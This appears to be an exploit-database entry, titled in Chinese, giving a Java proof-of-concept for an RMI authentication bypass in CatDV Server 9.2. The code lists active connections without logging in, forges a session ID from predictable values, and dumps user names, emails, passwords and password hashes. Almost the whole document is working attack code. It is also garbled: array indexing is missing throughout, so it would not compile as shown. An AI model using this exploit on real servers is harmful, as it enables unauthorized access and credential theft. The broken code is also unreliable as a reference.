CatDV 9.2 – RMI 身份验证绕过漏洞

EXP

# Exploit Title: CatDV 9.2 - RMI Authentication Bypass 
# Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc.
# Vendor Homepage: https://catdv.com/
# Software Link: https://www.squarebox.com/download/CatDVServer9.2.0.exe
# Version: 9.2 and lower
# Tested on: Windows, Mac
 
import org.h2.engine.User;
import squarebox.catdv.shared.*;
 
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
 
public class Runnable {
    public Runnable() throws RemoteException, NotBoundException, MalformedURLException { }
 
    private static int getValidSession(long createdTime, String claimedHost) {
        return (int)createdTime + claimedHost.hashCode();
    }
 
    private static void printFields(SField fields) {
        for (SField field : fields) {
            System.out.println(field.fieldDefID);
            System.out.println(field.value);
            System.out.println(field.fieldDefinition);
        }
    }
 
    public static void main(String args) throws RemoteException, NotBoundException, MalformedURLException {
        String target = "rmi://<HOST>:1099/CatDVServer";
 
        ServerAPI look_up = (ServerAPI) Naming.lookup(target);
 
        System.out.println("Trying to get all connections");
        SConnection connections = look_up.getConnections();
        for (SConnection element : connections) {
            System.out.println("Found connection:");
            System.out.println("CatDVUser:"+ element.catdvUser);
            System.out.println("ApiVersion:"+ element.apiVersion);
            System.out.println("User:"+ element.user);
            System.out.println("ClaimedHost:"+ element.claimedHost);
            System.out.println("ActualHost:"+ element.actualHost);
            System.out.println("Created:"+ element.created);
            System.out.println("LastUsed:"+ element.lastUsed);
            System.out.println("Client features:"+ element.clientFeatures);
            System.out.println("\n");
        }
 
        System.out.println("Getting system properties");
        System.out.println("Running from: "+look_up.getProperty("user.dir"));
        System.out.println("Running on: "+look_up.getProperty("os.arch"));
        System.out.println("Java version: "+look_up.getProperty("java.version"));
 
        //We can create a new client from most of the fields found in the existing connections which we can dump anonymously
        ClientID bob=new  ClientID(
                connections0.catdvUser,
                connections0.claimedHost,
                getValidSession(connections0.created,connections0.claimedHost),
                connections0.created,
                "");
 
        System.out.println("\nCreated a new client with parameters: \n" +
                "" + "user:"+connections0.catdvUser+"\n"+
                "" + "claimedHost:"+connections0.claimedHost+"\n"+
                "" + "session:"+getValidSession(connections0.created,connections0.claimedHost)+"\n"+
                "" + "created:"+connections0.created+"\n"+
                "" + "pubkey:"+""+
                "");
 
 
        String status = look_up.getStatus(bob);
        System.out.println("Status is: \n "+status);
 
        System.out.println("Attempting to dump users: \n");
        SUser users=look_up.getUsers(bob, -1);
        for (SUser element: users) {
 
            System.out.println(element.name);
            System.out.println(element.passwordHash);
                System.out.println("id:" + element.ID);
                System.out.println("realname:" + element.realname);
                System.out.println("email:" + element.email);
                System.out.println("password:" + element.password);
                System.out.println("notes:" + element.notes);
                System.out.println("inactive:" + element.inactive);
                System.out.println("RoleiD:" + element.roleID);
                System.out.println("hash:" + element.passwordHash);
                System.out.println("");
        }
 
    }
 
}